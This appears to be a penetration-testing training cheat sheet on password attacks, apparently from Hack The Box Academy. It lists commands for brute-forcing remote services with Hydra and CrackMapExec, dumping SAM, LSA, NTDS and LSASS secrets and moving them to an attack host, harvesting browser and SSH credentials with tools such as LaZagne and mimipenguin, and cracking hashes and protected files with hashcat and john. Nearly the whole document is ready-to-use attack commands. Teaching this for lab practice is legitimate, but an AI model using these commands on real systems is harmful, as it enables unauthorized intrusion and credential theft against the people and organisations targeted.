

PASSWORD ATTACKS

CHEAT SHEET

Connecting to Target

Command	Description
<code>xfreerdp /v:<ip> /u:htb-student /p:HTB_academy_stdnt!</code>	CLI-based tool used to connect to a Windows target using the Remote Desktop Protocol.
<code>evil-winrm -i <ip> -u user -p password</code>	Uses Evil-WinRM to establish a Powershell session with a target.
<code>ssh user@<ip></code>	Uses SSH to connect to a target using a specified user.
<code>smbclient -U user \\\\<ip>\\SHARENAME</code>	Uses smbclient to connect to an SMB share using a specified user.
<code>python3 smbserver.py -smb2support CompData /home/<nameofuser>/Documents/</code>	Uses smbserver.py to create a share on a linux-based attack host. Can be useful when needing to transfer files from a target to an attack host.

Password Mutations

Command	Description
<code>cewl https://www.inlanefreight.com -d 4 -m 6 --lowercase -w inlane.wordlist</code>	Uses cewl to generate a wordlist based on keywords present on a website.
<code>hashcat --force password.list -r custom.rule --stdout > mut_password.list</code>	Uses Hashcat to generate a rule-based word list.

Command	Description
<code>./username-anarchy -i /path/to/listoffirstandlastnames.txt</code>	Users username-anarchy tool in conjunction with a pre-made list of first and last names to generate a list of potential username.

<code>curl -s https://fileinfo.com/filetypes/compressed html2text awk '{print tolower(\$1)}' grep "\." tee -a compressed_ext.txt</code>	Uses Linux-based commands curl, awk, grep and tee to download a list of file extensions to be used in searching for files that could contain passwords.
---	---

Remote Password Attacks

Command	Description
<code>crackmapexec winrm <ip> -u user.list -p password.list</code>	Uses CrackMapExec over WinRM to attempt to brute force user names and passwords specified hosted on a target.
<code>crackmapexec smb <ip> -u "user" -p "password" --shares</code>	Uses CrackMapExec to enumerate smb shares on a target using a specified set of credentials.
<code>hydra -L user.list -P password.list <service>://<ip></code>	Uses Hydra in conjunction with a user list and password list to attempt to crack a password over the specified service.
<code>hydra -l username -P password.list <service>://<ip></code>	Uses Hydra in conjunction with a username and password list to attempt to crack a password over the specified service.
<code>hydra -L user.list -p password <service>://<ip></code>	Uses Hydra in conjunction with a user list and password to attempt to crack a password over the specified service.
<code>hydra -C <user_pass.list> ssh://<IP></code>	Uses Hydra in conjunction with a list of credentials to attempt to login to a target over the specified service. This can be used to attempt a credential stuffing attack.
<code>crackmapexec smb <ip> --local-auth -u <username> -p <password> --sam</code>	Uses CrackMapExec in conjunction with admin credentials to dump password hashes stored in SAM, over the network.

Command	Description
<code>crackmapexec smb <ip> --local-auth -u <username> -p <password> --lsa</code>	Uses CrackMapExec in conjunction with admin credentials to dump lsa secrets, over the network. It is possible to get clear-text credentials this way.
<code>crackmapexec smb <ip> -u <username> -p <password> --ntds</code>	Uses CrackMapExec in conjunction with admin credentials to dump hashes from the ntds file over a network.
<code>evil-winrm -i <ip> -u Administrator -H "<passwordhash>"</code>	Uses Evil-WinRM to establish a Powershell session with a Windows target using a user and password hash. This is one type of Pass-The-Hash attack.

Windows Local Password Attacks

Command	Description
<code>tasklist /svc</code>	A command-line-based utility in Windows used to list running processes.
<code>findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yaml</code>	Uses Windows command-line based utility findstr to search for the string "password" in many different file type.

Command	Description
<code>Get-Process lsass</code>	A Powershell cmdlet is used to display process information. Using this with the LSASS process can be helpful when attempting to dump LSASS process memory from the command line.
<code>rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full</code>	Uses rundll32 in Windows to create a LSASS memory dump file. This file can then be transferred to an attack box to extract credentials.
<code>pypykatz lsa minidump /path/to/lsassdumpfile</code>	Uses Pypykatz to parse and attempt to extract credentials & password hashes from an LSASS process memory dump file.

Command	Description
<code>reg.exe save hklm\sam C:\sam.save</code>	Uses reg.exe in Windows to save a copy of a registry hive at a specified location on the file system. It can be used to make copies of any registry hive (i.e., hklm\sam, hklm\security, hklm\system).
<code>move sam.save \\<ip>\NameOfFileShare</code>	Uses move in Windows to transfer a file to a specified file share over the network.
<code>python3 secretsdump.py -sam sam.save -security security.save -system system.save LOCAL</code>	Uses Secretsdump.py to dump password hashes from the SAM database.
<code>vssadmin CREATE SHADOW /For=C:</code>	Uses Windows command line based tool vssadmin to create a volume shadow copy for C: . This can be used to make a copy of NTDS.dit safely.

Command	Description
<pre>cmd.exe /c copy \\? \GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit</pre>	Uses Windows command line based tool copy to create a copy of NTDS.dit for a volume shadow copy of C: .

Linux Local Password Attacks

Command	Description
<pre>for l in \$(echo ".conf .config .cnf");do echo -e "\nFile extension: " \$l; find / -name *\$l 2>/dev/null grep -v "lib fonts share core" ;done</pre>	Script that can be used to find .conf, .config and .cnf files on a Linux system.
<pre>for i in \$(find / -name *.cnf 2>/dev/null grep -v "doc lib");do echo -e "\nFile: " \$i; grep "user password pass" \$i 2>/dev/null grep -v "#";done</pre>	Script that can be used to find credentials in specified file types.
<pre>for l in \$(echo ".sql .db *.db *.db*");do echo -e "\nDB File extension: " \$l; find / -name *\$l 2>/dev/null grep -v "doc lib headers share man";done</pre>	Script that can be used to find common database files.
<pre>find /home/* -type f -name "*.txt" -o ! -name "*.*)"</pre>	Uses Linux-based find command to search for text files.
<pre>for l in \$(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " \$l; find / -name *\$l 2>/dev/null grep -v "doc lib headers share";done</pre>	Script that can be used to search for common file types used with scripts.
<pre>for ext in \$(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile extension: " \$ext; find / -name *\$ext 2>/dev/null grep -v "lib fonts share core" ;done</pre>	Script used to look for common types of documents.
<pre>cat /etc/crontab</pre>	Uses Linux-based cat command to view the contents of crontab in search for credentials.

Command	Description
<code>ls -la /etc/cron.*</code>	Uses Linux-based ls -la command to list all files that start with cron contained in the etc directory.
<code>grep -rnw "PRIVATE KEY" /* 2>/dev/null grep ":1"</code>	Uses Linux-based command grep to search the file system for key terms PRIVATE KEY to discover SSH keys.
<code>grep -rnw "PRIVATE KEY" /home/* 2>/dev/null grep ":1"</code>	Uses Linux-based grep command to search for the keywords PRIVATE KEY within files contained in a user's home directory.
<code>grep -rnw "ssh-rsa" /home/* 2>/dev/null grep ":1"</code>	Uses Linux-based grep command to search for keywords ssh-rsa within files contained in a user's home directory.
<code>tail -n5 /home/*/.bash*</code>	Uses Linux-based tail command to search the through bash history files and output the last 5 lines.
<code>python3 mimipenguin.py</code>	Runs Mimipenguin.py using python3.
<code>bash mimipenguin.sh</code>	Runs Mimipenguin.sh using bash.
<code>python2.7 lazagne.py all</code>	Runs Lazagne.py with all modules using python2.7
<code>ls -l .mozilla/firefox/ grep default</code>	Uses Linux-based command to search for credentials stored by Firefox then searches for the keyword default using grep.

Command	Description
<code>cat .mozilla/firefox/1bplpd86.default-release/logins.json jq .</code>	Uses Linux-based command cat to search for credentials stored by Firefox in JSON.
<code>python3.9 firefox_decrypt.py</code>	Runs Firefox_decrypt.py to decrypt any encrypted credentials stored by Firefox. Program will run using python3.9.
<code>python3 lazagne.py browsers</code>	Runs Lazagne.py browsers module using Python 3.

Cracking Passwords

Command	Description
<code>hashcat -m 1000 dumpedhashes.txt /usr/share/wordlists/rockyou.txt</code>	Uses Hashcat to crack NTLM hashes using a specified wordlist.
<code>hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt --show</code>	Uses Hashcat to attempt to crack a single NTLM hash and display the results in the terminal output.
<code>unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes</code>	Uses unshadow to combine data from passwd.bak and shadow.bk into one single file to prepare for cracking.
<code>hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked</code>	Uses Hashcat in conjunction with a wordlist to crack the unshadowed hashes and outputs the cracked hashes to a file called unshadowed.cracked.
<code>hashcat -m 500 -a 0 md5-hashes.list rockyou.txt</code>	Uses Hashcat in conjunction with a word list to crack the md5 hashes in the md5-hashes.list file.
<code>hashcat -m 22100 backup.hash /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt -o backup.cracked</code>	Uses Hashcat to crack the extracted BitLocker hashes using a wordlist and outputs the cracked hashes into a file called backup.cracked.

Command	Description
<code>ssh2john.pl SSH.private > ssh.hash</code>	Runs Ssh2john.pl script to generate hashes for the SSH keys in the SSH.private file, then redirects the hashes to a file called ssh.hash.
<code>john ssh.hash --show</code>	Uses John to attempt to crack the hashes in the ssh.hash file, then outputs the results in the terminal.
<code>office2john.py Protected.docx > protected-docx.hash</code>	Runs Office2john.py against a protected .docx file and converts it to a hash stored in a file called protected-docx.hash.
<code>john --wordlist=rockyou.txt protected-docx.hash</code>	Uses John in conjunction with the wordlist rockyou.txt to crack the hash protected-docx.hash.
<code>pdf2john.pl PDF.pdf > pdf.hash</code>	Runs Pdf2john.pl script to convert a pdf file to a pdf has to be cracked.
<code>john --wordlist=rockyou.txt pdf.hash</code>	Runs John in conjunction with a wordlist to crack a pdf hash.
<code>zip2john ZIP.zip > zip.hash</code>	Runs Zip2john against a zip file to generate a hash, then adds that hash to a file called zip.hash.
<code>john --wordlist=rockyou.txt zip.hash</code>	Uses John in conjunction with a wordlist to crack the hashes contained in zip.hash.
<code>bitlocker2john -i Backup.vhd > backup.hashes</code>	Uses Bitlocker2john script to extract hashes from a VHD file and directs the output to a file called backup.hashes.
<code>file GZIP.gzip</code>	Uses the Linux-based file tool to gather file format information.
<code>for i in \$(cat rockyou.txt);do openssl enc -aes-256-cbc -d -in GZIP.gzip -k \$i 2>/dev/null tar xz;done</code>	Script that runs a for-loop to extract files from an archive.